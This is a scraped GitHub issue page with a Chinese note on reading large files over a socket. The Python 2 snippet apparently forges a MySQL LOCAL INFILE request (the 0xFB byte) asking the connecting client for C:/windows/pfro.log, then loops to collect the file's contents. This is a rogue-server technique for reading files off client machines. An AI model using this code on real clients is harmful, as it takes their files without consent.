We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
读取大文件解决思路: 发送访问文件的请求后,建立一个while循环,一直读取数据并且将每次读取的数据保存到变量或文件中,直到读取到的信息为空。
filename='C:/windows/pfro.log' wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename conn.sendall(wantfile) conn.sendall('asdfsadfsadfsa') #随便发送的数据,为了让recv接收到空数据以退出循环,如果不发送会导致recv阻塞 content = 'asdfasdf' #初始进入循环 while len(content) !=0 : content=conn.recv(9999999) text = text + content print text #这时的text是完整的数据
The text was updated successfully, but these errors were encountered:
No branches or pull requests
读取大文件解决思路:
发送访问文件的请求后,建立一个while循环,一直读取数据并且将每次读取的数据保存到变量或文件中,直到读取到的信息为空。
The text was updated successfully, but these errors were encountered: